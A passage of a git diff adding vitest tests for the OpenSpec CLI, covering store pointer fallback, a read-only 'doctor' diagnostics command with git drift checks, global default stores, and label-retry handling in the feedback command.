shape', async () => { + const rootBefore = snapshot(storeRoot); + const dataBefore = snapshot(path.join(tempDir, 'data')); + await runCLI(['context', '--json', '--store', 'team-context'], { cwd: tempDir, env }); + expect(snapshot(storeRoot)).toEqual(rootBefore); + expect(snapshot(path.join(tempDir, 'data'))).toEqual(dataBefore); + + const bare = path.join(tempDir, 'bare'); + fs.mkdirSync(bare); + const noRoot = await runCLI(['context', '--json'], { cwd: bare, env }); + expect(noRoot.exitCode).toBe(1); + const payload = parseJson(noRoot); + expect(payload.root).toBeNull(); + expect(payload.members).toEqual([]); + expect(payload.status[0].code).toBeDefined(); + }); +}); diff --git a/test/commands/declared-store-fallback.test.ts b/test/commands/declared-store-fallback.test.ts new file mode 100644 index 0000000000..75fca1a8af --- /dev/null +++ b/test/commands/declared-store-fallback.test.ts @@ -0,0 +1,226 @@ +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { getGlobalDataDir, registerStore } from '../../src/core/index.js'; +import { runCLI, type RunCLIResult } from '../helpers/run-cli.js'; +import { snapshotDirectory as snapshot } from '../helpers/fs-snapshot.js'; +import { createOpenSpecRoot, writeSpec } from '../helpers/openspec-fixtures.js'; + +describe('declared store fallback (3.2)', () => { + let tempDir: string; + let globalDataDir: string; + let env: NodeJS.ProcessEnv; + let storeRoot: string; + let pointerRepo: string; + + beforeEach(async () => { + tempDir = fs.realpathSync.native( + fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-declared-')) + ); + env = { + XDG_DATA_HOME: path.join(tempDir, 'data'), + XDG_CONFIG_HOME: path.join(tempDir, 'config'), + OPEN_SPEC_INTERACTIVE: '0', + OPENSPEC_TELEMETRY: '0', + }; + globalDataDir = getGlobalDataDir({ env }); + + storeRoot = path.join(tempDir, 'team-context'); + createOpenSpecRoot(storeRoot); + await registerStore({ id: 'team-context', localPath: storeRoot, globalDataDir }); + + pointerRepo = path.join(tempDir, 'app-repo'); + fs.mkdirSync(path.join(pointerRepo, 'openspec'), { recursive: true }); + fs.writeFileSync( + path.join(pointerRepo, 'openspec', 'config.yaml'), + 'store: team-context\n' + ); + }); + + afterEach(() => { + // Windows can hold a brief handle on a just-exited spawned CLI; retry + // the recursive remove so EBUSY during teardown does not flake the run. + fs.rmSync(tempDir, { recursive: true, force: true, maxRetries: 5, retryDelay: 100 }); + }); + + function parseJson(result: RunCLIResult): any { + return JSON.parse(result.stdout); + } + + + it('runs the externalized-planning journey without --store anywhere', async () => { + const pointerBefore = snapshot(pointerRepo); + + const created = await runCLI(['new', 'change', 'billing-rework', '--json'], { + cwd: pointerRepo, + env, + }); + expect(created.exitCode).toBe(0); + expect(parseJson(created).root).toEqual({ + path: fs.realpathSync.native(storeRoot), + source: 'declared', + store_id: 'team-context', + }); + + const statusHuman = await runCLI(['status', '--change', 'billing-rework'], { + cwd: pointerRepo, + env, + }); + expect(statusHuman.exitCode).toBe(0); + expect(statusHuman.stderr).toContain('Using OpenSpec root: team-context'); + + // Hint continuity: follow-ups carry --store (JSON nextSteps is the + // surface that prints them). + const statusJson = await runCLI(['status', '--change', 'billing-rework', '--json'], { + cwd: pointerRepo, + env, + }); + expect(parseJson(statusJson).nextSteps.join(' ')).toContain('--store team-context'); + + const instructions = await runCLI( + ['instructions', 'proposal', '--change', 'billing-rework', '--json'], + { cwd: pointerRepo, env } + ); + expect(instructions.exitCode).toBe(0); + + const changeDir = path.join(storeRoot, 'openspec', 'changes', 'billing-rework'); + fs.writeFileSync( + path.join(changeDir, 'proposal.md'), + '## Why\n\nBilling rework.\n\n## What Changes\n\n- **billing:** Rework billing\n' + ); + const deltaDir = path.join(changeDir, 'specs', 'billing'); + fs.mkdirSync(deltaDir, { recursive: true }); + fs.writeFileSync( + path.join(deltaDir, 'spec.md'), + '## ADDED Requirements\n\n### Requirement: Billing SHALL work\nThe system SHALL bill.\n\n#### Scenario: Bills\n- **WHEN** a period ends\n- **THEN** a bill exists\n' + ); + + const validate = await runCLI(['validate', 'billing-rework', '--json', '--no-interactive'], { + cwd: pointerRepo, + env, + }); + expect(validate.exitCode).toBe(0); + + const list = await runCLI(['list', '--json'], { cwd: pointerRepo, env }); + expect(parseJson(list).root.source).toBe('declared'); + + const show = await runCLI(['show', 'billing-rework', '--json', '--type', 'change'], { + cwd: pointerRepo, + env, + }); + expect(show.exitCode).toBe(0); + + const archive = await runCLI(['archive', 'billing-rework', '--yes', '--json'], { + cwd: pointerRepo, + env, + }); + expect(archive.exitCode).toBe(0); + const archived = fs.readdirSync(path.join(storeRoot, 'openspec', 'changes', 'archive')); + expect(archived.some((name) => name.endsWith('billing-rework'))).toBe(true); + + // The pointer repo is byte-identical: no specs/, no changes/, nothing. + expect(snapshot(pointerRepo)).toEqual(pointerBefore); + // Heaviest test in the file (8 CLI subprocess spawns); the 10s default + // is tight on slow Windows runners. + }, 60_000); + + it('composes with 3.1: the declared root surfaces the store own references', async () => { + const upstreamRoot = path.join(tempDir, 'upstream-context'); + createOpenSpecRoot(upstreamRoot); + writeSpec(upstreamRoot, 'platform-rules', '## Purpose\n\nPlatform rules.\n'); + await registerStore({ id: 'upstream-context', localPath: upstreamRoot, globalDataDir }); + fs.writeFileSync( + path.join(storeRoot, 'openspec', 'config.yaml'), + 'schema: spec-driven\nreferences:\n - upstream-context\n' + ); + + const created = await runCLI(['new', 'change', 'ref-check', '--json'], { + cwd: pointerRepo, + env, + }); + expect(created.exitCode).toBe(0); + + const instructions = await runCLI( + ['instructions', 'proposal', '--change', 'ref-check', '--json'], + { cwd: pointerRepo, env } + ); + const refs = parseJson(instructions).references; + expect(refs.map((entry: any) => entry.store_id)).toEqual(['upstream-context']); + }); + + it('refuses init in a pointer repo and creates nothing, then converts cleanly', async () => { + const before = snapshot(pointerRepo); + const dataBefore = fs.existsSync(path.join(tempDir, 'data')) + ? snapshot(path.join(tempDir, 'data')) + : null; + + const refused = await runCLI(['init', '.'], { cwd: pointerRepo, env }); + expect(refused.exitCode).toBe(1); + expect(refused.stderr).toContain("externalized to store 'team-context'"); + expect(refused.stderr).toContain('Remove the store: line'); + expect(snapshot(pointerRepo)).toEqual(before); + if (dataBefore) { + expect(snapshot(path.join(tempDir, 'data'))).toEqual(dataBefore); + } + + // Conversion: remove the line, rerun, get a normal local root. + fs.writeFileSync(path.join(pointerRepo, 'openspec', 'config.yaml'), 'schema: spec-driven\n'); + const converted = await runCLI(['init', '.', '--tools', 'none'], { + cwd: pointerRepo, + env, + }); + expect(converted.exitCode).toBe(0); + expect(fs.existsSync(path.join(pointerRepo, 'openspec', 'specs'))).toBe(true); + expect(fs.existsSync(path.join(pointerRepo, 'openspec', 'changes'))).toBe(true); + }); + + it('refuses init for malformed pointers and from pointer-repo subdirectories', async () => { + // A broken declaration must not be buried under a scaffold. + fs.writeFileSync( + path.join(pointerRepo, 'openspec', 'config.yaml'), + 'store: [team-context]\n' + ); + const malformed = await runCLI(['init', '.'], { cwd: pointerRepo, env }); + expect(malformed.exitCode).toBe(1); + expect(malformed.stderr).toContain('Fix or remove the store: line'); + expect(fs.existsSync(path.join(pointerRepo, 'openspec', 'specs'))).toBe(false); + + // And a subdirectory of a pointer repo must not grow a nested root + // that silently diverts work away from the declared store. + fs.writeFileSync( + path.join(pointerRepo, 'openspec', 'config.yaml'), + 'store: team-context\n' + ); + const subdir = path.join(pointerRepo, 'packages', 'api'); + fs.mkdirSync(subdir, { recursive: true }); + const nested = await runCLI(['init', '.'], { cwd: subdir, env }); + expect(nested.exitCode).toBe(1); + expect(nested.stderr).toContain("externalized to store 'team-context'"); + expect(fs.existsSync(path.join(subdir, 'openspec'))).toBe(false); + }); + + it('keeps real-root stdout byte-identical when a pointer is present, with one warning', async () => { + const realRepo = path.join(tempDir, 'real-repo'); + createOpenSpecRoot(realRepo); + const runs: Record<string, { stdout: string; warnings: number }> = {}; + + for (const [label, config] of [ + ['without', 'schema: spec-driven\n'], + ['with', 'schema: spec-driven\nstore: team-context\n'], + ] as const) { + fs.writeFileSync(path.join(realRepo, 'openspec', 'config.yaml'), config); + const result = await runCLI(['list', '--json'], { cwd: realRepo, env }); + expect(result.exitCode).toBe(0); + runs[label] = { + stdout: result.stdout, + warnings: (result.stderr.match(/the declaration is ignored/g) ?? []).length, + }; + } + + expect(runs.with.stdout).toBe(runs.without.stdout); + expect(runs.without.warnings).toBe(0); + expect(runs.with.warnings).toBe(1); + }); +}); diff --git a/test/commands/doctor.test.ts b/test/commands/doctor.test.ts new file mode 100644 index 0000000000..e1cb2d5ce9 --- /dev/null +++ b/test/commands/doctor.test.ts @@ -0,0 +1,384 @@ +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { getGlobalDataDir, registerStore } from '../../src/core/index.js'; +import { runCLI, type RunCLIResult } from '../helpers/run-cli.js'; +import { createOpenSpecRoot, writeSpec } from '../helpers/openspec-fixtures.js'; +import { snapshotDirectory as snapshot } from '../helpers/fs-snapshot.js'; +import { cleanupTempPath } from '../helpers/temp-cleanup.js'; +import { isolatedGitEnv } from '../helpers/store-git.js'; + +describe('openspec doctor (3.6)', () => { + let tempDir: string; + let globalDataDir: string; + let env: NodeJS.ProcessEnv; + let storeRoot: string; + + beforeEach(async () => { + tempDir = fs.realpathSync.native(fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-doctor-'))); + env = { + XDG_DATA_HOME: path.join(tempDir, 'data'), + XDG_CONFIG_HOME: path.join(tempDir, 'config'), + OPEN_SPEC_INTERACTIVE: '0', + OPENSPEC_TELEMETRY: '0', + }; + globalDataDir = getGlobalDataDir({ env }); + + storeRoot = path.join(tempDir, 'team-context'); + createOpenSpecRoot(storeRoot); + await registerStore({ id: 'team-context', localPath: storeRoot, globalDataDir }); + }); + + afterEach(() => { + cleanupTempPath(tempDir); + }); + + function parseJson(result: RunCLIResult): any { + return JSON.parse(result.stdout); + } + + function mkdir(relativePath: string): string { + const dir = path.join(tempDir, relativePath); + fs.mkdirSync(dir, { recursive: true }); + return dir; + } + + // Git-backed store with one base commit, isolated from host gitconfig. + // Returns the git runner and the base branch name for upstream setup. + async function initGitStore() { + const { execFileSync } = await import('node:child_process'); + const gitEnv = { ...process.env, ...isolatedGitEnv(tempDir) }; + const git = (args: string[]) => + execFileSync('git', args, { cwd: storeRoot, env: gitEnv, stdio: 'ignore' }); + git(['init']); + git(['add', '-A']); + git(['commit', '-m', 'base']); + const head = execFileSync('git', ['branch', '--show-current'], { cwd: storeRoot, env: gitEnv }) + .toString() + .trim(); + return { git, head }; + } + + it('reports ok everywhere for a healthy store-backed root, all session shapes', async () => { + // A resolvable reference. + const upstream = path.join(tempDir, 'upstream-context'); + createOpenSpecRoot(upstream); + writeSpec(upstream, 'rules', '## Purpose\n\nRules.\n'); + await registerStore({ id: 'upstream-context', localPath: upstream, globalDataDir }); + fs.writeFileSync( + path.join(storeRoot, 'openspec', 'config.yaml'), + 'schema: spec-driven\nreferences:\n - upstream-context\n' + ); + + // Explicit --store session. + const flagged = await runCLI(['doctor', '--json', '--store', 'team-context'], { + cwd: tempDir, + env, + }); + expect(flagged.exitCode).toBe(0); + const health = parseJson(flagged); + expect(health.root).toEqual({ + path: storeRoot, + source: 'store', + store_id: 'team-context', + healthy: true, + status: [], + }); + expect(health.store).toEqual({ + id: 'team-context', + metadata: { present: true, valid: true }, + status: [], + }); + expect(health.references).toEqual([ + { store_id: 'upstream-context', root: upstream, status: [] }, + ]); + expect('specs' in health.references[0]).toBe(false); + expect(health.status).toEqual([]); + + // Banner on stderr in human mode; sections in the transcript voice. + const human = await runCLI(['doctor', '--store', 'team-context'], { cwd: tempDir, env }); + expect(human.exitCode).toBe(0); + expect(human.stderr).toContain('Using OpenSpec root: team-context'); + expect(human.stdout).toContain('Root'); + expect(human.stdout).toContain(' Store: team-context (metadata ok)'); + expect(human.stdout).toContain(` - upstream-context: ok (${upstream})`); + + // Nearest-root session. + const nearest = await runCLI(['doctor', '--json'], { cwd: storeRoot, env }); + expect(parseJson(nearest).root.source).toBe('nearest'); + + // Declared-pointer session. + const pointerRepo = mkdir('app-repo'); + fs.mkdirSync(path.join(pointerRepo, 'openspec'), { recursive: true }); + fs.writeFileSync(path.join(pointerRepo, 'openspec', 'config.yaml'), 'store: team-context\n'); + const declared = await runCLI(['doctor', '--json'], { cwd: pointerRepo, env }); + expect(parseJson(declared).root.source).toBe('declared'); + expect(parseJson(declared).store.id).toBe('team-context'); + + // Global-default session: no root, no pointer — provenance must name + // the machine-level default, not masquerade as a repo pointer. + fs.mkdirSync(path.join(tempDir, 'config', 'openspec'), { recursive: true }); + fs.writeFileSync( + path.join(tempDir, 'config', 'openspec', 'config.json'), + JSON.stringify({ defaultStore: 'team-context' }) + '\n' + ); + const fallback = await runCLI(['doctor', '--json'], { cwd: mkdir('no-root-here'), env }); + const fallbackHealth = parseJson(fallback); + expect(fallbackHealth.root.source).toBe('global_default'); + expect(fallbackHealth.root.store_id).toBe('team-context'); + expect(fallbackHealth.store.id).toBe('team-context'); + }, 30_000); + + it('renders none-declared sections distinguishably', async () => { + const result = await runCLI(['doctor', '--store', 'team-context'], { cwd: tempDir, env }); + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain('References\n (none declared)'); + const json = await runCLI(['doctor', '--json', '--store', 'team-context'], { + cwd: tempDir, + env, + }); + expect(parseJson(json).references).toEqual([]); + }); + + it('shows broken relationships with pasteable fixes at exit 0', async () => { + fs.writeFileSync( + path.join(storeRoot, 'openspec', 'config.yaml'), + 'schema: spec-driven\n' + + 'references:\n - { id: design-system, remote: https://192.0.2.1/ds.git }\n' + ); + + const result = await runCLI(['doctor', '--json', '--store', 'team-context'], { + cwd: tempDir, + env, + }); + expect(result.exitCode).toBe(0); + const health = parseJson(result); + expect(health.references[0].status[0]).toEqual( + expect.objectContaining({ + code: 'reference_unresolved', + fix: expect.stringContaining('git clone -- https://192.0.2.1/ds.git'), + }) + ); + + const human = await runCLI(['doctor', '--store', 'team-context'], { cwd: tempDir, env }); + expect(human.stdout).toContain('Fix: git clone --'); + }); + + it('distinguishes an empty registry from an unreadable one', async () => { + fs.writeFileSync( + path.join(storeRoot, 'openspec', 'config.yaml'), + 'schema: spec-driven\nreferences:\n - ghost-context\n' + ); + + // Corrupt registry: top-level cause + per-reference blast radius. + const registryPath = path.join(globalDataDir, 'stores', 'registry.yaml'); + const original = fs.readFileSync(registryPath, 'utf-8'); + fs.writeFileSync(registryPath, ':[ broken'); + const corrupt = await runCLI(['doctor', '--json'], { cwd: storeRoot, env }); + const corruptHealth = parseJson(corrupt); + expect(corruptHealth.status[0].code).toBe('relationship_registry_unreadable'); + expect(corruptHealth.references[0].status[0].code).toBe('reference_registry_unreadable'); + fs.writeFileSync(registryPath, original); + + // Empty-but-readable registry: unresolved references. + fs.rmSync(registryPath); + const empty = await runCLI(['doctor', '--json'], { cwd: storeRoot, env }); + const emptyHealth = parseJson(empty); + expect(emptyHealth.status).toEqual([]); + expect(emptyHealth.references[0].status[0].code).toBe('reference_unresolved'); + }); + + it('surfaces both-shapes and inert-pointer wrong turns', async () => { + // Both shapes: a real root whose config declares a pointer. + fs.writeFileSync( + path.join(storeRoot, 'openspec', 'config.yaml'), + 'schema: spec-driven\nstore: team-context\n' + ); + const bothShapes = await runCLI(['doctor', '--json'], { cwd: storeRoot, env }); + expect(parseJson(bothShapes).status[0]).toEqual( + expect.objectContaining({ code: 'root_pointer_ignored' }) + ); + fs.writeFileSync(path.join(storeRoot, 'openspec', 'config.yaml'), 'schema: spec-driven\n'); + + // Inert pointer declarations, including from a subdirectory. + const pointerRepo = mkdir('app-repo'); + fs.mkdirSync(path.join(pointerRepo, 'openspec'), { recursive: true }); + fs.writeFileSync( + path.join(pointerRepo, 'openspec', 'config.yaml'), + 'store: team-context\nreferences:\n - wrong-context\n' + ); + const subdir = mkdir('app-repo/packages/api'); + const inert = await runCLI(['doctor', '--json'], { cwd: subdir, env }); + const entry = parseJson(inert).status.find( + (item: any) => item.code === 'pointer_declarations_inert' + ); + expect(entry).toBeDefined(); + expect(entry.message).toContain('references'); + }); + + it('notes remote divergence as info in the store section', async () => { + fs.writeFileSync( + path.join(storeRoot, '.openspec-store', 'store.yaml'), + 'version: 1\nid: team-context\nremote: https://192.0.2.1/canon.git\n' + ); + const { execFileSync } = await import('node:child_process'); + execFileSync('git', ['init'], { cwd: storeRoot }); + execFileSync('git', ['remote', 'add', 'origin', 'https://192.0.2.2/fork.git'], { + cwd: storeRoot, + }); + + const result = await runCLI(['doctor', '--json', '--store', 'team-context'], { + cwd: tempDir, + env, + }); + const store = parseJson(result).store; + expect(store.metadata.remote).toBe('https://192.0.2.1/canon.git'); + expect(store.origin_url).toBe('https://192.0.2.2/fork.git'); + expect(store.status[0]).toEqual( + expect.objectContaining({ severity: 'info', code: 'store_remote_divergence' }) + ); + expect(result.exitCode).toBe(0); + }); + + it('notes an upstream-behind store checkout as info drift', async () => { + const { git, head } = await initGitStore(); + + // A tracking branch that advances one commit past HEAD, then set it as + // HEAD's upstream — HEAD is now one commit behind, no network involved. + git(['branch', 'tracking']); + git(['checkout', 'tracking']); + fs.writeFileSync(path.join(storeRoot, 'ahead.txt'), 'newer\n'); + git(['add', '-A']); + git(['commit', '-m', 'advance upstream']); + git(['checkout', head]); + git(['branch', `--set-upstream-to=tracking`, head]); + + const result = await runCLI(['doctor', '--json', '--store', 'team-context'], { + cwd: tempDir, + env, + }); + expect(result.exitCode).toBe(0); + const store = parseJson(result).store; + expect(store.drift).toEqual({ ahead: 0, behind: 1 }); + expect(store.status[0]).toEqual( + expect.objectContaining({ severity: 'info', code: 'store_checkout_drift' }) + ); + expect(store.status[0].message).toContain('1 commit behind its upstream tracking branch'); + + const human = await runCLI(['doctor', '--store', 'team-context'], { cwd: tempDir, env }); + expect(human.stdout).toContain('behind its upstream tracking branch'); + }); + + it('reports diverged drift when the checkout is both ahead and behind', async () => { + const { git, head } = await initGitStore(); + + // Upstream advances one commit; HEAD then adds its own — the two have + // diverged (1 behind, 1 ahead) off a common base. + git(['branch', 'tracking']); + git(['checkout', 'tracking']); + fs.writeFileSync(path.join(storeRoot, 'upstream.txt'), 'theirs\n'); + git(['add', '-A']); + git(['commit', '-m', 'advance upstream']); + git(['checkout', head]); + git(['branch', `--set-upstream-to=tracking`, head]); + fs.writeFileSync(path.join(storeRoot, 'local.txt'), 'mine\n'); + git(['add', '-A']); + git(['commit', '-m', 'local work']); + + const result = await runCLI(['doctor', '--json', '--store', 'team-context'], { + cwd: tempDir, + env, + }); + expect(result.exitCode).toBe(0); + const store = parseJson(result).store; + expect(store.drift).toEqual({ ahead: 1, behind: 1 }); + expect(store.status[0]).toEqual( + expect.objectContaining({ severity: 'info', code: 'store_checkout_drift' }) + ); + expect(store.status[0].message).toContain('diverged'); + expect(store.status[0].message).toContain('1 behind, 1 ahead'); + }); + + it('reports no drift for a store checkout with no upstream tracking branch', async () => { + await initGitStore(); + + const result = await runCLI(['doctor', '--json', '--store', 'team-context'], { + cwd: tempDir, + env, + }); + expect(result.exitCode).toBe(0); + const store = parseJson(result).store; + expect('drift' in store).toBe(false); + expect(store.status).toEqual([]); + }); + + it('fails with the null-shape payload on command failures', async () => { + const unknown = await runCLI(['doctor', '--json', '--store', 'missing-store'], { + cwd: tempDir, + env, + }); + expect(unknown.exitCode).toBe(1); + const payload = parseJson(unknown); + expect(payload.root).toBeNull(); + expect(payload.store).toBeNull(); + expect(payload.references).toEqual([]); + expect(payload.status[0].code).toBe('unknown_store'); + + const bare = mkdir('bare-dir'); + const noRoot = await runCLI(['doctor', '--json'], { cwd: bare, env }); + expect(noRoot.exitCode).toBe(1); + expect(parseJson(noRoot).root).toBeNull(); + }); + + it('prints taxonomy errors in human mode instead of stack traces', async () => { + const bare = mkdir('bare-dir-human'); + const result = await runCLI(['doctor'], { cwd: bare, env }); + expect(result.exitCode).toBe(1); + expect(result.stderr).toContain('Error: No OpenSpec root found'); + expect(result.stderr).not.toContain('at '); + }); + + it('distinguishes self-reference omission from none declared', async () => { + fs.writeFileSync( + path.join(storeRoot, 'openspec', 'config.yaml'), + 'schema: spec-driven\nreferences:\n - team-context\n' + ); + const result = await runCLI(['doctor', '--store', 'team-context'], { cwd: tempDir, env }); + expect(result.stdout).toContain('(declared references all resolve to this root)'); + expect(result.stdout).not.toContain('References\n (none declared)'); + }); + + it('surfaces a malformed pointer on a real root', async () => { + fs.writeFileSync( + path.join(storeRoot, 'openspec', 'config.yaml'), + 'schema: spec-driven\nstore: [broken]\n' + ); + const result = await runCLI(['doctor', '--json'], { cwd: storeRoot, env }); + expect(result.exitCode).toBe(0); + expect(JSON.parse(result.stdout).status[0]).toEqual( + expect.objectContaining({ code: 'root_pointer_invalid' }) + ); + }); + + it('is read-only and changes nothing elsewhere', async () => { + fs.writeFileSync(path.join(storeRoot, 'openspec', 'config.yaml'), 'schema: spec-driven\n'); + const rootBefore = snapshot(storeRoot); + const dataBefore = snapshot(path.join(tempDir, 'data')); + + const listBefore = await runCLI(['list', '--json', '--store', 'team-context'], { + cwd: tempDir, + env, + }); + await runCLI(['doctor', '--json', '--store', 'team-context'], { cwd: tempDir, env }); + const listAfter = await runCLI(['list', '--json', '--store', 'team-context'], { + cwd: tempDir, + env, + }); + + expect(snapshot(storeRoot)).toEqual(rootBefore); + expect(snapshot(path.join(tempDir, 'data'))).toEqual(dataBefore); + expect(listAfter.stdout).toBe(listBefore.stdout); + }); +}); diff --git a/test/commands/feedback.test.ts b/test/commands/feedback.test.ts index 7a2125f16f..51fe40cd9d 100644 --- a/test/commands/feedback.test.ts +++ b/test/commands/feedback.test.ts @@ -198,6 +198,12 @@ describe('FeedbackCommand', () => { expect(consoleLogSpy).toHaveBeenCalledWith( expect.stringContaining(issueUrl) ); + + // Only one attempt, and no note about a dropped label + expect(mockExecFileSync).toHaveBeenCalledTimes(1); + expect(consoleLogSpy).not.toHaveBeenCalledWith( + expect.stringContaining("without the 'feedback' label") + ); }); it('should include --body flag when body is provided', async () => { @@ -327,17 +333,157 @@ describe('FeedbackCommand', () => { throw error; }); - try { - await feedbackCommand.execute('Test'); - } catch (error: any) { - // Should exit with the same code as gh CLI - expect(error.message).toBe('process.exit(1)'); - } + await expect(feedbackCommand.execute('Test')).rejects.toThrow( + 'process.exit(1)' + ); // Should display the error from gh CLI expect(consoleErrorSpy).toHaveBeenCalledWith( expect.stringContaining('Network connectivity issue') ); + + // A non-label failure must NOT be retried + expect(mockExecFileSync).toHaveBeenCalledTimes(1); + + // ...and must not discard the typed feedback: the manual-submission + // fallback (formatted text + pre-filled URL) is shown like the + // missing-gh and unauthenticated flows. + expect(consoleLogSpy).toHaveBeenCalledWith( + expect.stringContaining('Please submit your feedback manually:') + ); + expect(consoleLogSpy).toHaveBeenCalledWith( + expect.stringContaining('github.com/Fission-AI/OpenSpec/issues/new') + ); + }); + + it('should not retry when the feedback text mentions the label error', async () => { + mockExecSync.mockImplementation((cmd: string, options?: any) => { + if (cmd === 'which gh' || cmd === 'where gh') { + return Buffer.from('/usr/local/bin/gh'); + } + if (cmd === 'gh auth status') { + return Buffer.from('Logged in'); + } + return ''; + }); + + // gh fails for an unrelated reason. Node puts the whole command line — + // including the user's own words — into error.message, so only stderr + // may decide whether this was a label failure. + mockExecFileSync.mockImplementation((_cmd: string, args: string[]) => { + const error: any = new Error( + `Command failed: gh ${args.join(' ')}\nerror connecting to api.github.com` + ); + error.status = 1; + error.stderr = Buffer.from('error connecting to api.github.com'); + throw error; + }); + + await expect( + feedbackCommand.execute('gh could not add label bug report') + ).rejects.toThrow('process.exit(1)'); + + expect(mockExecFileSync).toHaveBeenCalledTimes(1); + expect(consoleLogSpy).not.toHaveBeenCalledWith( + expect.stringContaining("without the 'feedback' label") + ); + }); + + it('should retry without the label when the repo does not define it', async () => { + const issueUrl = 'https://github.com/Fission-AI/OpenSpec/issues/129'; + + mockExecSync.mockImplementation((cmd: string, options?: any) => { + if (cmd === 'which gh' || cmd === 'where gh') { + return Buffer.from('/usr/local/bin/gh'); + } + if (cmd === 'gh auth status') { + return Buffer.from('Logged in'); + } + return ''; + }); + + // gh resolves label names before creating the issue, so a repo without + // the label fails with no issue created + mockExecFileSync.mockImplementation((_cmd: string, args: string[]) => { + if (args.includes('--label')) { + const error: any = new Error('gh failed'); + error.status = 1; + error.stderr = Buffer.from( + 'could not add label: labels not found: feedback' + ); + throw error; + } + return `${issueUrl}\n`; + }); + + await feedbackCommand.execute('Test'); + + expect(mockExecFileSync).toHaveBeenCalledTimes(2); + + // First attempt asks for the label + expect(mockExecFileSync).toHaveBeenNthCalledWith( + 1, + 'gh', + expect.arrayContaining(['--label', 'feedback']), + expect.any(Object) + ); + + // Retry drops it + expect(mockExecFileSync).toHaveBeenNthCalledWith( + 2, + 'gh', + expect.not.arrayContaining(['--label']), + expect.any(Object) + ); + + // The feedback still lands as an issue, and the user is told the label + // was not applied + expect(consoleLogSpy).toHaveBeenCalledWith( + expect.stringContaining('Feedback submitted successfully') + ); + expect(consoleLogSpy).toHaveBeenCalledWith( + expect.stringContaining(issueUrl) + ); + expect(consoleLogSpy).toHaveBeenCalledWith( + expect.stringContaining("without the 'feedback' label") + ); + }); + + it('should preserve gh exit code when the unlabeled retry also fails', async () => { + mockExecSync.mockImplementation((cmd: string, options?: any) => { + if (cmd === 'which gh' || cmd === 'where gh') { + return Buffer.from('/usr/local/bin/gh'); + } + if (cmd === 'gh auth status') { + return Buffer.from('Logged in'); + } + return ''; + }); + + mockExecFileSync.mockImplementation((_cmd: string, args: string[]) => { + const error: any = new Error('gh failed'); + + if (args.includes('--label')) { + error.status = 1; + error.stderr = Buffer.from( + 'could not add label: labels not found: feedback' + ); + } else { + error.status = 4; + error.stderr = Buffer.from('Error: issues are disabled'); + } + + throw error; + }); + + await expect(feedbackCommand.execute('Test')).rejects.toThrow( + 'process.exit(4)' + ); + + expect(mockExecFileSync).toHaveBeenCalledTimes(2); + expect(consoleErrorSpy).toHaveBeenCalledWith( + expect.stringContaining('issues are disabled') + ); }); it('should handle quotes in title and body without escaping (no shell injection)', async () => { @@ -413,10 +559,23 @@ describe('FeedbackCommand', () => { // Expected to exit } - // Verify URL is shown - const urlCall = consoleLogSpy.mock.calls.find((call: any[]) => - call[0]?.includes('https://github.com/Fission-AI/OpenSpec/issues/new') - ); + // Verify URL is shown. Match on the parsed origin and path rather than a + // substring, so a lookalike host in the output cannot satisfy the check. + const urlCall = consoleLogSpy.mock.calls.find((call: any[]) => { + const found = /https?:\/\/\S+/.exec(String(call[0] ?? '')); + if (!found) { + return false; + } + try { + const parsed = new URL(found[0]); + return ( + parsed.origin === 'https://github.com' && + parsed.pathname === '/Fission-AI/OpenSpec/issues/new' + ); + } catch { + return false; + } + }); expect(urlCall).toBeDefined(); // Verify URL has proper parameters diff --git a/test/commands/global-default-store.test.ts b/test/commands/global-default-store.test.ts new file mode 100644 index 0000000000..50f0c83013 --- /dev/null +++ b/test/commands/global-default-store.test.ts @@ -0,0 +1,79 @@ +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { getGlobalDataDir, registerStore } from '../../src/core/index.js'; +import { runCLI, type RunCLIResult } from '../helpers/run-cli.js'; +import { createOpenSpecRoot } from '../helpers/openspec-fixtures.js'; + +describe('global defaultStore fallback (#1359)', () => { + let tempDir: string; + let globalDataDir: string; + let env: NodeJS.ProcessEnv; + let storeRoot: string; + let scratch: string; + + beforeEach(async () => { + tempDir = fs.realpathSync.native( + fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-global-default-')) + ); + env = { + XDG_DATA_HOME: path.join(tempDir, 'data'), + XDG_CONFIG_HOME: path.join(tempDir, 'config'), + OPEN_SPEC_INTERACTIVE: '0', + OPENSPEC_TELEMETRY: '0', + }; + globalDataDir = getGlobalDataDir({ env }); + + storeRoot = path.join(tempDir, 'team-context'); + createOpenSpecRoot(storeRoot); + await registerStore({ id: 'team-context', localPath: storeRoot, globalDataDir }); + + scratch = path.join(tempDir, 'no-root-here'); + fs.mkdirSync(scratch, { recursive: true }); + }); + + afterEach(() => { + fs.rmSync(tempDir, { recursive: true, force: true, maxRetries: 5, retryDelay: 100 }); + }); + + function parseJson(result: RunCLIResult): any { + return JSON.parse(result.stdout); + } + + function setDefaultStore(id: string): void { + fs.mkdirSync(path.join(tempDir, 'config', 'openspec'), { recursive: true }); + fs.writeFileSync( + path.join(tempDir, 'config', 'openspec', 'config.json'), + JSON.stringify({ defaultStore: id }) + '\n' + ); + } + + it('reports global_default provenance in status JSON and the root banner', async () => { + setDefaultStore('team-context'); + + const status = await runCLI(['status', '--json'], { cwd: scratch, env }); + expect(status.exitCode).toBe(0); + expect(parseJson(status).root).toEqual({ + path: fs.realpathSync.native(storeRoot), + source: 'global_default', + store_id: 'team-context', + }); + + const human = await runCLI(['status'], { cwd: scratch, env }); + expect(human.exitCode).toBe(0); + expect(human.stderr).toContain('Using OpenSpec root: team-context'); + }, 30_000); + + it('reports a stale default in the JSON failure payload with the clearing fix', async () => { + setDefaultStore('ghost-plans'); + + const status = await runCLI(['status', '--json'], { cwd: scratch, env }); + expect(status.exitCode).toBe(1); + const [diagnostic] = parseJson(status).status; + expect(diagnostic.code).toBe('unknown_store'); + expect(diagnostic.message).toContain("Global defaultStore 'ghost-plans'"); + expect(diagnostic.fix).toContain('openspec config unset defaultStore'); + }, 30_000); +}); diff --git a/test/commands/legacy-groups-removed.test.ts b/test/commands/legacy-groups-removed.test.ts new file mode 100644 index 0000000000..99c9700abc --- /dev/null +++ 